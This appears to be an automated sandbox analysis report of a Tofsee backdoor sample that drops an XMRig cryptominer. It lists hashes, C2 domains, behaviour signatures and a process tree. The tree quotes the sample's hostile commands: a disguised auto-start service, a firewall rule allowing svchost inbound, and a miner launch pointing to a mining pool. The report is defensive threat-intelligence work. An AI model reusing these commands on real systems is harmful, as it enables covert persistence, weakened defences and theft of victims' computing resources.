Analysis

  • max time kernel
    146s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    09-10-2023 15:43

General

  • Target

    NEAS.98348e8b85c3fc64f80db5578f4d474732a69220c17155ea93104dab72bd71eeexe_JC.exe

  • Size

    285KB

  • MD5

    452f303bac83dc941d6433b176449867

  • SHA1

    5ad4b1842f9b04319f8f60a8e44058672ffc4c50

  • SHA256

    98348e8b85c3fc64f80db5578f4d474732a69220c17155ea93104dab72bd71ee

  • SHA512

    366075c134863cee78286a4fb59b7b01970454e22760a4dd5b436f83d6c4866639a4cb9bb3d6b85c405b8c8873d2870b88c758f23f6694c05c7667cb36473faa

  • SSDEEP

    3072:ecSKLbut7BWLMcD/FHNKZuKqtyONJvq4H6gGIvuFHrHtIxJXA4/a9:oKHOWwe/RNKkK0vNdq4HZG0Wr2u

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\NEAS.98348e8b85c3fc64f80db5578f4d474732a69220c17155ea93104dab72bd71eeexe_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\NEAS.98348e8b85c3fc64f80db5578f4d474732a69220c17155ea93104dab72bd71eeexe_JC.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2104
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\srnjhnaf\
      2⤵
        PID:3016
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tiahmkph.exe" C:\Windows\SysWOW64\srnjhnaf\
        2⤵
          PID:2708
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create srnjhnaf binPath= "C:\Windows\SysWOW64\srnjhnaf\tiahmkph.exe /d\"C:\Users\Admin\AppData\Local\Temp\NEAS.98348e8b85c3fc64f80db5578f4d474732a69220c17155ea93104dab72bd71eeexe_JC.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2880
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description srnjhnaf "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2632
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start srnjhnaf
          2⤵
          • Launches sc.exe
          PID:2772
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2820
      • C:\Windows\SysWOW64\srnjhnaf\tiahmkph.exe
        C:\Windows\SysWOW64\srnjhnaf\tiahmkph.exe /d"C:\Users\Admin\AppData\Local\Temp\NEAS.98348e8b85c3fc64f80db5578f4d474732a69220c17155ea93104dab72bd71eeexe_JC.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2964
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2504
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1640

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\tiahmkph.exe

        Filesize

        13.7MB

        MD5

        0505c95a3be57e5cf207f4b51036439b

        SHA1

        f5227332c154d70ab2c654144701fbec3a39a6ab

        SHA256

        924540a96f079eb9c95e34d4abff569fab1b0cb3a54c259cc3c449ba04abd2df

        SHA512

        d089cbfae0bb5e8c6d4d7d577469de44c96cdc80176ae8b523529555a30bfda1cc1d12d1b3e2407877894a9bd3a017ba7cdf6c4da983c8a38cc96dbcde5a7ebd

      • C:\Windows\SysWOW64\srnjhnaf\tiahmkph.exe

        Filesize

        13.7MB

        MD5

        0505c95a3be57e5cf207f4b51036439b

        SHA1

        f5227332c154d70ab2c654144701fbec3a39a6ab

        SHA256

        924540a96f079eb9c95e34d4abff569fab1b0cb3a54c259cc3c449ba04abd2df

        SHA512

        d089cbfae0bb5e8c6d4d7d577469de44c96cdc80176ae8b523529555a30bfda1cc1d12d1b3e2407877894a9bd3a017ba7cdf6c4da983c8a38cc96dbcde5a7ebd

      • memory/1640-73-0x0000000000230000-0x0000000000321000-memory.dmp

        Filesize

        964KB

      • memory/1640-74-0x0000000000230000-0x0000000000321000-memory.dmp

        Filesize

        964KB

      • memory/1640-63-0x0000000000230000-0x0000000000321000-memory.dmp

        Filesize

        964KB

      • memory/1640-64-0x0000000000230000-0x0000000000321000-memory.dmp

        Filesize

        964KB

      • memory/1640-72-0x0000000000230000-0x0000000000321000-memory.dmp

        Filesize

        964KB

      • memory/1640-78-0x0000000000230000-0x0000000000321000-memory.dmp

        Filesize

        964KB

      • memory/1640-77-0x0000000000230000-0x0000000000321000-memory.dmp

        Filesize

        964KB

      • memory/1640-76-0x0000000000230000-0x0000000000321000-memory.dmp

        Filesize

        964KB

      • memory/1640-75-0x0000000000230000-0x0000000000321000-memory.dmp

        Filesize

        964KB

      • memory/2104-7-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2104-1-0x0000000002450000-0x0000000002550000-memory.dmp

        Filesize

        1024KB

      • memory/2104-2-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2104-6-0x0000000000400000-0x0000000002284000-memory.dmp

        Filesize

        30.5MB

      • memory/2104-4-0x0000000000400000-0x0000000002284000-memory.dmp

        Filesize

        30.5MB

      • memory/2504-38-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-47-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-28-0x0000000000150000-0x0000000000156000-memory.dmp

        Filesize

        24KB

      • memory/2504-31-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-34-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-35-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-36-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-37-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-24-0x0000000001840000-0x0000000001A4F000-memory.dmp

        Filesize

        2.1MB

      • memory/2504-39-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-40-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-41-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-42-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-43-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-44-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-45-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-46-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-27-0x0000000001840000-0x0000000001A4F000-memory.dmp

        Filesize

        2.1MB

      • memory/2504-48-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-49-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-50-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2504-51-0x0000000000170000-0x0000000000175000-memory.dmp

        Filesize

        20KB

      • memory/2504-54-0x0000000000170000-0x0000000000175000-memory.dmp

        Filesize

        20KB

      • memory/2504-55-0x00000000055D0000-0x00000000059DB000-memory.dmp

        Filesize

        4.0MB

      • memory/2504-58-0x00000000055D0000-0x00000000059DB000-memory.dmp

        Filesize

        4.0MB

      • memory/2504-59-0x0000000000200000-0x0000000000207000-memory.dmp

        Filesize

        28KB

      • memory/2504-23-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2504-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2504-12-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2504-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2504-15-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2504-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2964-10-0x00000000002B0000-0x00000000003B0000-memory.dmp

        Filesize

        1024KB

      • memory/2964-11-0x0000000000400000-0x0000000002284000-memory.dmp

        Filesize

        30.5MB

      • memory/2964-16-0x0000000000400000-0x0000000002284000-memory.dmp

        Filesize

        30.5MB